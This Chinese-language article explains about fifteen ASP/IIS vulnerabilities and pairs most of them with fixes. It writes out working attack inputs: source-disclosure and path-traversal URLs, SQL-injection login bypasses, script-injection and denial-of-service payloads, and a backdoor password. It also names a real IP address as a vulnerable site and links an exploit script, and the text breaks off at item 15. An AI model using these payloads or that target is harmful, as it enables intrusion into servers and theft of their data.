ASP網(wǎng)絡(luò)安全
當(dāng)前位置:點(diǎn)晴教程→知識(shí)管理交流
→『 技術(shù)文檔交流 』
一 前言 Microsoft Active Server Pages(ASP)是服務(wù)器端腳本編寫環(huán)境,使用它可以創(chuàng)建和運(yùn)行動(dòng)態(tài)、交互的 Web 服務(wù)器應(yīng)用程序。使用 ASP 可以組合 HTML 頁 、腳本命令和 ActiveX 組件以創(chuàng)建交互的 Web 頁和基于 Web 的功能強(qiáng)大的應(yīng)用程序。 現(xiàn)在很多網(wǎng)站特別是電子商務(wù)方面的網(wǎng)站,在前臺(tái)上大都用ASP來實(shí)現(xiàn)。以至于現(xiàn)在ASP在網(wǎng)站應(yīng)用上很普遍。ASP是開發(fā)網(wǎng)站應(yīng)用的快速工具,但是有些網(wǎng)站管理員只看到ASP的快速開發(fā)能力,卻忽視了ASP安全問題。ASP從一開始就一直受到眾多漏洞,后門的困擾,包括%81的噩夢(mèng),密碼驗(yàn)證問題,IIS漏洞等等都一直使ASP網(wǎng)站開發(fā)人員心驚膽跳。 本文試圖從開放了ASP服務(wù)的操作系統(tǒng)漏洞和ASP程序本身漏洞,闡述ASP安全問題,并給出解決方法或者建議。 二 關(guān)鍵字 ASP,網(wǎng)絡(luò)安全,IIS,SSL,加密。 三 ASP工作機(jī)理 Active Server Page技術(shù)為應(yīng)用開發(fā)商提供了基于腳本的直觀、快速、高效的應(yīng)用開發(fā)手段,極大地提高了開發(fā)的效果。在討論ASP的安全性問題之前,讓我們來看看ASP是怎么工作的。ASP腳本是采用明文(plain text)方式來編寫的。 ASP腳本是一系列按特定語法(目前支持vbscript和jscript兩種腳本語言)編寫的,與標(biāo)準(zhǔn)HTML頁面混合在一起的腳本所構(gòu)成的文本格式的文件。當(dāng)客戶端的最終用戶用WEB瀏覽器通過INTERNET來訪問基于ASP腳本的應(yīng)用時(shí),WEB瀏覽器將向WEB服務(wù)器發(fā)出HTTP請(qǐng)求。WEB服務(wù)器分析、判斷出該請(qǐng)求是ASP腳本的應(yīng)用后,自動(dòng)通過ISAPI接口調(diào)用ASP腳本的解釋運(yùn)行引擎(ASP.DLL)。ASP.DLL將從文件系統(tǒng)或內(nèi)部緩沖區(qū)獲取指定的ASP腳本文件,接著就進(jìn)行語法分析并解釋執(zhí)行。最終的處理結(jié)果將形成HTML格式的內(nèi)容,通過WEB服務(wù)器"原路"返回給WEB瀏覽器,由WEB瀏覽器在客戶端形成最終的結(jié)果呈現(xiàn)。這樣就完成了一次完整的ASP腳本調(diào)用。若干個(gè)有機(jī)的ASP腳本調(diào)用就組成了一個(gè)完整的ASP腳本應(yīng)用。 讓我們來看看運(yùn)行ASP所需的環(huán)境: Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000 Microsoft Personal Web Server on Windows 95/98 WINDOWS NT Option Pack所帶的Microsoft IIS提供了強(qiáng)大的功能,但是IIS在網(wǎng)絡(luò)安全方面卻是比較危險(xiǎn)的。因?yàn)楹苌儆腥藭?huì)用Windows 95/98當(dāng)服務(wù)器,因此本文我更多的從NT中的IIS安全問題來探討。 四 微軟自稱的ASP的安全優(yōu)點(diǎn) 雖然我們本文的重點(diǎn)是探討ASP漏洞和后門,但是有必要談?wù)凙SP在網(wǎng)絡(luò)安全方面的"優(yōu)點(diǎn)",之所以加個(gè)"",是因?yàn)橛袝r(shí)這些微軟宣稱的"優(yōu)點(diǎn)"恰恰是其安全隱犯。 微軟稱ASP在網(wǎng)絡(luò)安全方面一大優(yōu)點(diǎn)就是用戶不能看到ASP的源程序,從ASP的原理上看,ASP在服務(wù)端執(zhí)行并解釋成標(biāo)準(zhǔn)的HTML語句,再傳送給客戶端瀏覽器。"屏蔽"源程序能很好的維護(hù)ASP開發(fā)人員的版權(quán),試想你辛辛苦苦做了一個(gè)很優(yōu)秀的程序,給人任意COPY,你會(huì)怎么想?而且黑客還能分析你的ASP程序,挑出漏洞。更重要的是有些ASP開發(fā)者喜歡把密碼,有特權(quán)的用戶名和路徑直接寫在程序中,這樣別人通過猜密碼,猜路徑,很容易找到攻擊系統(tǒng)的"入口"。但是目前已經(jīng)發(fā)現(xiàn)了很多能查看ASP源程序的漏洞,后面我們還要討論。 IIS支持虛擬目錄,通過在"服務(wù)器屬性"對(duì)話框中的"目錄"標(biāo)簽可以管理虛擬目錄。建立虛擬目錄對(duì)于管理WEB站點(diǎn)具有非常重要的意義。虛擬目錄隱藏了有關(guān)站點(diǎn)目錄結(jié)構(gòu)的重要信息。因?yàn)樵跒g覽器中,客戶通過選擇"查看源代碼",很容易就能獲取頁面的文件路徑信息,如果在WEB頁中使用物理路徑,將暴露有關(guān)站點(diǎn)目錄的重要信息,這容易導(dǎo)致系統(tǒng)受到攻擊。其次,只要兩臺(tái)機(jī)器具有相同的虛擬目錄,你就可以在不對(duì)頁面代碼做任何改動(dòng)的情況下,將WEB頁面從一臺(tái)機(jī)器上移到另一臺(tái)機(jī)器。還有就是,當(dāng)你將WEB頁面放置于虛擬目錄下后,你可以對(duì)目錄設(shè)置不同的屬性,如:Read、Excute、Script。讀訪問表示將目錄內(nèi)容從IIS傳遞到瀏覽器。而執(zhí)行訪問則可以使在該目錄內(nèi)執(zhí)行可執(zhí)行的文件。當(dāng)你需要使用ASP時(shí),就必須將你存放.asp文件的目錄設(shè)置為"Excute(執(zhí)行)"。建議大家在設(shè)置WEB站點(diǎn)時(shí),將HTML文件同ASP文件分開放置在不同的目錄下,然后將HTML子目錄設(shè)置為"讀",將ASP子目錄設(shè)置為"執(zhí)行",這不僅方便了對(duì)WEB的管理,而且最重要的提高了ASP程序的安全性,防止了程序內(nèi)容被客戶所訪問。 五 ASP漏洞分析和解決方法 有人說一臺(tái)不和外面聯(lián)系的電腦是最安全的電腦,一個(gè)關(guān)閉所有端口,不提供任何服務(wù)的電腦也是最安全的。黑客經(jīng)常利用我們所開放的端口實(shí)施攻擊,這些攻擊最常見的是DDOS(拒絕服務(wù)攻擊).下面我會(huì)列出ASP的二十幾個(gè)漏洞,每個(gè)漏洞都會(huì)有漏洞描述和解決方法。 1 在ASP程序后加個(gè)特殊符號(hào),能看到ASP源程序 受影響的版本: win95+pws IIS3.0 98+pws4 不存在這個(gè)漏洞。 IIS4.0以上的版本也不存在這個(gè)漏洞。 問題描述: 這些特殊符號(hào)包括小數(shù)點(diǎn),%81, ::$DATA。比如: http://someurl/somepage.asp. http:// someurl/somepage.asp%81 http:// someurl/somepage.asp::$DATA http:// someurl/somepage.asp %2e http:// someurl/somepage %2e%41sp http:// someurl/somepage%2e%asp http:// someurl/somepage.asp %2e http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的文件內(nèi)容)那么在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什么原因造成了這種可怕的漏洞呢?究其根源其實(shí)是 Windows NT 特有的文件系統(tǒng)在做怪。有一點(diǎn)常識(shí)的人都知道在 NT 提供了一種完全不同于 FAT 的文件系統(tǒng):NTFS,這種被稱之為新技術(shù)文件系統(tǒng)的技術(shù)使得 NT 具有了較高的安全機(jī)制,但也正是因?yàn)樗a(chǎn)生了不少令人頭痛的隱患。大家可能不知道, NTFS 支持包含在一個(gè)文件中 的多數(shù)據(jù)流,而這個(gè)包含了所有內(nèi)容的主數(shù)據(jù)流被稱之為"DATA",因此使得在瀏覽器 里直接訪問 NTFS 系統(tǒng)的這個(gè)特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導(dǎo)致 ::$DATA 的原因是由于 IIS 在解析文件名的時(shí)候出了問題,它沒有很好地規(guī)范文件名。 解決方法和建議: 如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個(gè)問題。如果是win95用戶,安裝WIN98和PWS4.0。 2 ACCESS mdb 數(shù)據(jù)庫有可能被下載的漏洞 問題描述: 在用ACCESS做后臺(tái)數(shù)據(jù)庫時(shí),如果有人通過各種方法知道或者猜到了服務(wù)器的ACCESS數(shù)據(jù)庫的路徑和數(shù)據(jù)庫名稱,那么他能夠下載這個(gè)ACCESS數(shù)據(jù)庫文件,這是非常危險(xiǎn)的。比如:如果你的ACCESS數(shù)據(jù)庫book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入: http:// someurl/database/book.mdb如果你的book.mdb數(shù)據(jù)庫沒有事先加密的話,那book.mdb中所有重要的數(shù)據(jù)都掌握在別人的手中。 解決方法: (1) 為你的數(shù)據(jù)庫文件名稱起個(gè)復(fù)雜的非常規(guī)的名字,并把他放在幾目錄下。所謂"非常規(guī)",打個(gè)比方:比如有個(gè)數(shù)據(jù)庫要保存的是有關(guān)書籍的信息,可不要把他起個(gè)"book.mdb"的名字,起個(gè)怪怪的名稱,比如d34ksfslf.mdb,再把他放在如./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過猜的方式得到你的ACCESS數(shù)據(jù)庫文件就難上加難了。 (2)不要把數(shù)據(jù)庫名寫在程序中。有些人喜歡把DSN寫在程序中,比如: DBPath = Server.MapPath("cmddb.mdb") conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath 假如萬一給人拿到了源程序,你的ACCESS數(shù)據(jù)庫的名字就一覽無余。因此建議你在ODBC里設(shè)置數(shù)據(jù)源,再在程序中這樣寫: conn.open "shujiyuan" (3)使用ACCESS來為數(shù)據(jù)庫文件編碼及加密。首先在選取"工具->安全->加密/解密數(shù)據(jù)庫,選取數(shù)據(jù)庫(如:employer.mdb),然后接確定,接著會(huì)出現(xiàn)"數(shù)據(jù)庫加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會(huì)被編碼,然后存為employer1.mdb.. 要注意的是,以上的動(dòng)作并不是對(duì)數(shù)據(jù)庫設(shè)置密碼,而只是對(duì)數(shù)據(jù)庫文件加以編碼,目的是為了防止他人使用別的工具來查看數(shù)據(jù)庫文件的內(nèi)容。 接下來我們?yōu)閿?shù)據(jù)庫加密,首先以打開經(jīng)過編碼了的employer1.mdb,在打開時(shí),選擇"獨(dú)占"方式。然后選取功能表的"工具->安全->設(shè)置數(shù)據(jù)庫密碼",接著輸入密碼即可。 為employer1.mdb設(shè)置密碼之后,接下來如果再使用ACCEES數(shù)據(jù)庫文件時(shí),則ACCESS會(huì)先要求輸入密碼,驗(yàn)證正確后才能夠啟動(dòng)數(shù)據(jù)庫。 不過要在ASP程序中的connection對(duì)象的open方法中增加PWD的參數(shù)即可,例如: param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs" param=param&";dbq="&server.mappath("employer1.mdb") conn.open param 這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的。 3 code.asp文件會(huì)泄漏ASP代碼 問題描述: 舉個(gè)很簡單的例子,在微軟提供的 ASP1.0 的例程里有一個(gè) .asp 文件專門用來查看其它 .asp 文件的源代碼,該文件為 ASPSamp/Samples/code.asp。如果有人把這個(gè)程序上傳到服務(wù)器,而服務(wù)器端沒有任何防范措施的話,他就可以很容易地查看他人的程序。例如 : code.asp?source=/directory/file.asp 不過這是個(gè)比較舊的漏洞了,相信現(xiàn)在很少會(huì)出現(xiàn)這種漏洞。 下面這命令是比較新的: http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp 最大的危害莫過于asa文件可以被上述方式讀出;數(shù)據(jù)庫密碼以明文形式暴露在黑客眼前; 問題解決或建議: 對(duì)于IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問該目錄即可 4、filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞 問題描述: IIS3、 IIS4 的 ASP 的文件操作都可以通過 filesystemobject 實(shí)現(xiàn),包括文本文件的讀寫目錄操作、文件的拷貝改名刪除等,但是這個(gè)強(qiáng)大的功能也留下了非常危險(xiǎn)的 "后門"。利用 filesystemobjet 可以篡改下載 fat 分區(qū)上的任何文件。即使是 ntfs 分區(qū),如果權(quán)限沒有設(shè)定好的話,同樣也能破壞,一不小心你就可能遭受"滅頂之災(zāi) "。遺憾的是很多 webmaster 只知道讓 web 服務(wù)器運(yùn)行起來,很少對(duì) ntfs 進(jìn)行權(quán)限 設(shè)置,而 NT 目錄權(quán)限的默認(rèn)設(shè)置偏偏安全性又低得可怕。因此,如果你是 Webmaster,建議你密切關(guān)注服務(wù)器的設(shè)置,盡量將 web 目錄建在 ntfs 分區(qū)上,目錄不要設(shè)定 everyone full control,即使是是管理員組的成員一般也沒什么必要 full control,只要有讀取、更改權(quán)限就足夠了。 也可以把filesystemobject的組件刪除或者改名。 5、輸入標(biāo)準(zhǔn)的HTML語句或者javascript語句會(huì)改變輸出結(jié)果 問題描述: 在輸入框中打入標(biāo)準(zhǔn)的HTML語句會(huì)得到什么相的結(jié)果呢?比如一個(gè)留言本,我們留言內(nèi)容中打入: <font size=10>你好!</font> 如果你的ASP程序中沒有屏蔽html語句,那么就會(huì)改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時(shí)并不是什么壞事,反而可以使留言本生動(dòng)。但是如果在輸入框中寫個(gè) javascript 的死循環(huán),比如:<a herf="http://someurl" onMouseover="while(1){window.close(/)}">特大新聞</a> 那么其他查看該留言的客人只要移動(dòng)鼠標(biāo)到"特大新聞",上就會(huì)使用戶的瀏覽器因死循環(huán)而死掉。 解決方法和建議: 編寫類似程序時(shí)應(yīng)該做好對(duì)此類操作的防范,譬如可以寫一段程序判斷客戶端的輸入,并屏蔽掉所有的 HTML、 Javascript 語句。 6、ASP程序密碼驗(yàn)證漏洞 漏洞描述: 很多網(wǎng)站把密碼放到數(shù)據(jù)庫中,在登陸驗(yàn)證中用以下sql,(以asp為例) sql="select * from user where username="&username&"and pass="& pass &" 此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben or 1=1 就可以進(jìn)入本來你沒有特權(quán)的頁面。再來看看上面那個(gè)語句吧: sql="select * from user where username="&username&"and pass="& pass&" 此時(shí),您只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,如:ben or 1=1 這樣,程序?qū)?huì)變成這樣: sql="select*from username where username="&benor1=1&"and pass="&pass&" or 是一個(gè)邏輯運(yùn)算符,作用是在判斷兩個(gè)條件的時(shí)候,只要其中一個(gè)條件成立,那么等式將會(huì)成立.而在語言中,是以1來代表真的(成立).那么在這行語句中,原語句的"and"驗(yàn)證將不再繼續(xù),而因?yàn)?1=1"和"or"令語句返回為真值.。 另外我們也可以構(gòu)造以下的用戶名: username=aa or username<>aa pass=aa or pass<>aa 相應(yīng)的在瀏覽器端的用戶名框內(nèi)寫入:aa or username<>aa 口令框內(nèi)寫入:aa or pass<>aa,注意這兩個(gè)字符串兩頭是沒有的。 這樣就可以成功的騙過系統(tǒng)而進(jìn)入。 后一種方法理論雖然如此,但要實(shí)踐是非常困難的,下面兩個(gè)條件都必須具備。 1. 你首先要能夠準(zhǔn)確的知道系統(tǒng)在表中是用哪兩個(gè)字段存儲(chǔ)用戶名和口令的,只有這樣你才能準(zhǔn)確的構(gòu)造出這個(gè)進(jìn)攻性的字符串。實(shí)際上這是很難猜中的。 2.系統(tǒng)對(duì)你輸入的字符串不進(jìn)行有效性檢查。 問題解決和建議: 對(duì)輸入的內(nèi)容驗(yàn)證和""號(hào)的處理。 7、IIS4或者IIS5中安裝有INDEX SERVER服務(wù)會(huì)漏洞ASP源程序 問題描述: 在運(yùn)行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁面的程序。甚至以及添打了最近關(guān)于參看源代碼的補(bǔ)丁程序的系統(tǒng),或者沒有.htw文件的系統(tǒng),一樣存在該問題。獲得asp程序,甚至global.asa文件的源代碼,無疑對(duì)系統(tǒng)是一個(gè)非常重大的安全隱患。往往這些代碼中包含了用戶密碼和ID,以及數(shù)據(jù)庫的源路徑和名稱等等。這對(duì)于攻擊者收集系統(tǒng)信息,進(jìn)行下一步的入侵都是非常重要的。 通過構(gòu)建下面的特殊程序可以參看該程序源代碼: http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full 這樣只是返回一些html格式的文件代碼,但是當(dāng)你添加%20到CiWebHitsFile的參數(shù)后面,如下: http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full 這將獲得該程序的源代碼。 (注意:/default.asp是以web的根開始計(jì)算。如某站點(diǎn)的http:///welcome/welcome.asp 那么對(duì)應(yīng)就是: http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full ) 由于null.htw文件并非真正的系統(tǒng)映射文件,所以只是一個(gè)儲(chǔ)存在系統(tǒng)內(nèi)存中的虛擬文件。哪怕你已經(jīng)從你的系統(tǒng)中刪除了所有的真實(shí)的.htw文件,但是由于對(duì)null.htw文件的請(qǐng)求默認(rèn)是由webhits.dll來處理。所以,IIS仍然收到該漏洞的威脅。 問題解決或者建議: 如果該webhits提供的功能是系統(tǒng)必須的,請(qǐng)下載相應(yīng)的補(bǔ)丁程序。如果沒必要,請(qǐng)用IIS的MMC管理工具簡單移除.htw的映象文件。 補(bǔ)丁程序如下: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Indexing Services for Windows 2000: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726 8、ASP聊天室程序的漏洞 問題描述: 如果聊天室ASP程序設(shè)計(jì)不當(dāng),很容易會(huì)給他人利用來做壞事:可以踢人,穿墻,搗亂. 首先,我們看看聊天室里有什么漏洞,大家看看下面這段代碼: <html> <head> <body BGCOLOR="008888" TEXT="FFFFFF"> ………………………… ……………… ……… <form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST" target="mtalk1" OnSubmit="return chksend();"> <input type="hidden" name="username" value="測(cè)試者">****** <input type="hidden" name="sex" value="boy">******** <input type="hidden" name="message" value=""> <input type="hidden" name="a_method" value="sendtalk"> <div align="center"><center> <table CELLSPACING="0" CELLPADDING="0"> <tr> <td>發(fā)言: <input type="text" name="msg" size="60"> </td> <td><input type="submit" value="發(fā) 言"> </td> </tr> <tr> <td>悄悄:<input type=checkbox name=mtalk value=1> 對(duì)象:<input type="text" name="betalk" size="10"> 表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();documen t.sendmsg.msg.select();" size="1"> ……… …………… …………………… </form> <form name="getout" ACTION="chatt.pl" METHOD="POST"> <input type="hidden" name="username" value="測(cè)試者">!!!!!! <input type="hidden" name="a_method" value="getout">!!!! <input type="submit" value="退 出"></td> </form> </body> </html> 以上這段代碼是我在某個(gè)聊天室用"測(cè)試者"作代號(hào)登陸后在發(fā)言幀當(dāng)下來的, 這只是一小部份,但在這一小部份代碼里面就有兩個(gè)漏洞。 第一個(gè)漏洞 大家看看上面的代碼加上"*"號(hào)的那兩句,其中第一句中的"測(cè)試者"就是我登陸的名字,還有,第二句中的"boy"是登陸時(shí)的性別,還有再看看下面我加上"!" 號(hào)的兩句,第一句里還是有我登陸時(shí)的名字,這幾句都是我現(xiàn)在想說的兩個(gè)漏洞所在點(diǎn)。如果想在這個(gè)聊天室里穿墻的話,只要把發(fā)言幀的代碼當(dāng)下來另存,把"form"的"action"改成聊天室的地址,然后把再"*"號(hào)的第一句的"測(cè)試者"兩字改成想要的名字就可以了。也可以變換性別,只要把第二句的 "boy"改成"girl"。這就是所謂的穿墻術(shù)了。你甚至可以把它改成在線人的名字,然后發(fā)言,這樣就冒充別人的姓名談話。 第二個(gè)漏洞 踢人的漏洞就是這個(gè)了,我們看一下帶"!"號(hào)的第一句,上面有是合法用戶登陸的名字,再看第二句,他有"getout",再加上上面還有一段"form"標(biāo)簽,這段就是我們退出聊天室時(shí)的代碼,這個(gè)有什么用呢?我們先試試看,首先還是把"form"標(biāo)簽的"action"改成 聊天室的地址,不然就不知道提交給哪個(gè)家伙了。然后把"風(fēng)風(fēng)"改成你想踢下去的人的名字然后單擊"退出",那就把那個(gè)人踢出聊天室了。這個(gè)就是聊天室踢人的漏洞。 這兩個(gè)漏洞主要的原因是這兩個(gè)漏洞使服務(wù)程序不識(shí)別客戶發(fā)出的指令是不是合法用戶。 以上兩漏騙服務(wù)程序來更名發(fā)出發(fā)言,或更名退出,使得真正的使用者受害。 當(dāng)然上面的程序中還有一個(gè)漏洞,輸入框沒有對(duì)HTML語句和JAVASCRIPT語句做過濾。這個(gè)問題我們?cè)诼┒?中已有詳細(xì)分析,這里就不談了。 問題解決或者建議: 在程序設(shè)計(jì)中讓服務(wù)程序能識(shí)別到底是哪個(gè)家伙發(fā)出的指令就可以了,具體做法可以為每個(gè)聊天者發(fā)一個(gè)識(shí)別碼,象五筆字一樣,也可以用每個(gè)聊天者的密碼識(shí)別,也可以把聊天者的密碼隨機(jī)加密后用作識(shí)別等等 ,反正能使你的服務(wù)程序識(shí)別到底是誰發(fā)出的指令就可以了。 9、NT iss4.0_AuthChangeUrl? 漏洞 問題描述: 在NT iis4.0,當(dāng)輸入如下命令時(shí) http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好 你看到發(fā)生了什么嗎?<font size=7 color=red>被解釋成功。出現(xiàn)了紅色的放大的"你好"字 我們?cè)賮砜纯匆韵碌拿睿? http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg> 上面的命令將顯示c:根目錄下的1.jpg圖片,如果1.jpg存在的話。 http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe> 上面的命令將下載C:根目錄下的install.exe文件。 按照這種方法還能打開對(duì)方服務(wù)器上一個(gè)已經(jīng)知道的文本文件。 10、微軟開發(fā)的兩個(gè)動(dòng)態(tài)庫存在后門允許用戶查看ASP文件源程序和下載整個(gè)網(wǎng)站 問題描述: 隨IIS和Frontpage Extention server而來的動(dòng)態(tài)庫程序,存在后門,允許用戶遠(yuǎn)程讀取asp、asa和CGI程序的源代碼。但這個(gè)動(dòng)態(tài)庫要求有密碼,這個(gè)后門的密碼是: "Netscape engineers are weenies!" 程序路徑為: /_vti_bin/_vti_aut/dvwssr.dll 一般安裝了 Frontpage98的 IIS服務(wù)器都有這個(gè)路徑和文件。這個(gè)程序要求解碼后才能發(fā)揮讀取asp等源程序,有趣的是,這個(gè)密碼正是嘲弄其競(jìng)爭(zhēng)對(duì)手Netscape的。 現(xiàn)提供一個(gè)有該漏洞的國外網(wǎng)站給安全技術(shù)人員參考: http://62.236.90.195 關(guān)于讀取源程序,請(qǐng)下載這個(gè)測(cè)試程序,用法為: [john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp 測(cè)試程序: http://www.cnns.net/exploits/nt/dvwssr1.pl 11、漏洞名稱:IIS4.0受HTTP的D.O.S攻擊漏洞 問題描述: 受影響的版本:IIS 4.0以及更早的版本 這是一個(gè)很簡單的方法.發(fā)送很多的"Host:aaaaa...aa"到IIS: GET / HTTP/1.1 Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) ...10,000 lines Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) 發(fā)送了象上面所寫的兩次請(qǐng)求后,對(duì)方的IIS在接受了這些請(qǐng)求后就會(huì)導(dǎo)致內(nèi)存溢出.當(dāng)然,它就不能對(duì)更多的請(qǐng)求作出反應(yīng)。因?yàn)閷?duì)方正缺乏虛擬內(nèi)存,服務(wù)器也將停止運(yùn)行。事后,對(duì)方不能通過重起web service來解決問題,而必須重啟服務(wù)器。 12 漏洞名稱:IIS5.0超長URL拒絕服務(wù)漏洞 問題描述: Microsoft IIS 5.0在處理以".ida"為擴(kuò)展名的URL請(qǐng)求時(shí),它會(huì)有兩種結(jié)果。一個(gè)可能的結(jié)果是服務(wù)器回復(fù)"URL String too long"的信息;或類似"Cannot find the specified path" 的信息。另一種可能就是服務(wù)器端服務(wù)停止,并返回"Access Violation"信息(即成功的實(shí)現(xiàn)了對(duì)服務(wù)器端的拒絕服務(wù)攻擊) 當(dāng)遠(yuǎn)端攻擊者發(fā)出類似如下的請(qǐng)求時(shí): http://someurl/...[25kb of .]...ida 服務(wù)器端會(huì)崩潰(導(dǎo)致拒絕服務(wù)攻擊)或返回該文件不在當(dāng)前路徑的信息(暴露文件物理地址) 問題解決或者建議: 大多數(shù)情況下,站點(diǎn)很少使用擴(kuò)展名為".ida"和".idq"的文件,可在ISAPI腳本映射中,將擴(kuò)展名為".ida"和".idq"的應(yīng)用程序映射刪除。 13 請(qǐng)求不存在的擴(kuò)展名為idq或ida 文件,會(huì)暴露服務(wù)器上得物理地址 問題描述: 通過請(qǐng)求一個(gè)不存在的擴(kuò)展名為idq或ida得文件,IIS會(huì)暴露文件在服務(wù)器上得物理地址.這樣會(huì)給攻擊者提供了不必要的信息,而且,這對(duì)攻擊一個(gè)Web站點(diǎn)來說,是很有價(jià)值的第一步。 測(cè)試程序: 通過請(qǐng)求如: http://someurl/anything.ida http://someurl/lunwen/anything.ida 或: http://someurl/anything.idq 一個(gè)遠(yuǎn)端用戶可以收到類似:The IDQ d:\http\anything.idq could not be found的響應(yīng)。 這樣的一個(gè)響應(yīng)就會(huì)讓攻擊者獲得了Web站點(diǎn)的物理路徑,并且還可以獲得更多的有關(guān)該站點(diǎn)在服務(wù)器上的組織與結(jié)構(gòu)。 14、NT Index Server存在返回上級(jí)目錄的漏洞 問題描述 受影響的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0] Index Sserver2.0是WinNT4.0 Option Pack中附帶的一個(gè)軟件的工具,其中的功能已經(jīng)被WinNT 2000中的Indexing Services所包含。當(dāng)與IIS結(jié)合使用時(shí),Index Server和Indexing Services便可以在最初的環(huán)境來瀏覽Web Search的結(jié)果,它將生成一個(gè)HTML文件,其中包含了查找后所返回頁面內(nèi)容的簡短引用,并將其連接至所返回的頁面[即符合查詢內(nèi)容的頁面],也就是超級(jí)連接。要做到這一點(diǎn),它便需要支持由webhits.dll ISAPI程序處理的.htw文件類型。這個(gè)dll允許在一個(gè)模版中使用"../"用做返回上級(jí)目錄的字符串.這樣,了解服務(wù)器文件結(jié)構(gòu)的攻擊者便可以遠(yuǎn)程的閱讀該機(jī)器上的任意文件了。 漏洞的利用: 1)您的系統(tǒng)中存在.htw文件 Index Server提供的這種超級(jí)連接允許Web用戶獲得一個(gè)關(guān)于他搜尋結(jié)果的返回頁,這個(gè)頁面的名字是與CiWebHitsFile變量一起通過.htw文件的,webhits.dll這個(gè)ISAPI程序?qū)⑻幚磉@個(gè)請(qǐng)求,對(duì)其進(jìn)行超級(jí)連接并返回該頁面。因此用戶便可以控制通過.htw文件的CiWebHits變量,請(qǐng)求到任何所希望獲得的信息。另外存在的一個(gè)問題便是ASP或其他腳本文件的源代碼也可以利用該方法來獲得。 上面我們說過webhits.dll后接上"../"便可以訪問到Web虛擬目錄外的文件,下面我們來看個(gè)例子: http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/ w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 在瀏覽器中輸入該地址,便可以獲得該服務(wù)器上給定日期的Web日志文件. 在系統(tǒng)常見的.htw樣本文件有: /iissamples/issamples/oop/qfullhit.htw /iissamples/issamples/oop/qsumrhit.htw /iissamples/exair/search/qfullhit.htw /iissamples/exair/search/qsumrhit.hw /iishelp/iis/misc/iirturnh.htw [這個(gè)文件通常受loopback限制] 2)您的系統(tǒng)中不存在.htw文件 調(diào)用一個(gè)webhits.dll ISAPI程序需要通過.htw文件來完成,如果您的系統(tǒng)中不存在.htw文件,雖然請(qǐng)求一個(gè)不存在的.htw文件將失敗,但是您的仍然存在可被利用的漏洞。其中的竅門便是利用inetinfo.exe來調(diào)用webhits.dll,這樣同樣能訪問到Web虛擬目錄外的文件。但我們需要通過制作一個(gè)的特殊的URL來完成該漏洞的利用。首先我們需要一個(gè)有效的文件資源,這個(gè)文件必須是一個(gè)靜態(tài)的文件,如".htm",".html",".txt"或者".gif",".jpg"。這些文件將用作模版來被webhits.dll打開?,F(xiàn)在我們需要獲得inetinfo.exe來利用webhits.dll,唯一可以做到這點(diǎn)的便是請(qǐng)求一個(gè).htw文件: http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ ex000121.log&CiRestriction=none&CiHiliteType=Full 很明顯,這個(gè)請(qǐng)求肯定會(huì)失敗,因?yàn)橄到y(tǒng)上不存在這個(gè)文件。但請(qǐng)注意,我們現(xiàn)在已經(jīng)調(diào)用到了webhits.dll,我們只要在一個(gè)存在的文件資源后面[也就是在.htw前面]加上一串特殊的數(shù)字( %20s ),[就是在例子中default.htm后面加上這個(gè)代表空格的特殊數(shù)字],這樣我們便可以欺騙過web服務(wù)器從而達(dá)到我們的目的.由于在緩沖部分中.htw文件名字部分被刪除掉[由于%20s這個(gè)符號(hào)],所以,當(dāng)請(qǐng)求傳送到webhits.dll的時(shí)候,便可以成功的打開該文件,并返回給客戶端,而且過程中并不要求系統(tǒng)中真的存在.htw文件。 問題解決和建議: 微軟已經(jīng)對(duì)該問題發(fā)放了補(bǔ)丁: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Windows 2000 Indexing Services: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726 15 繞過驗(yàn)證直接進(jìn)入ASP頁面 漏洞描述: 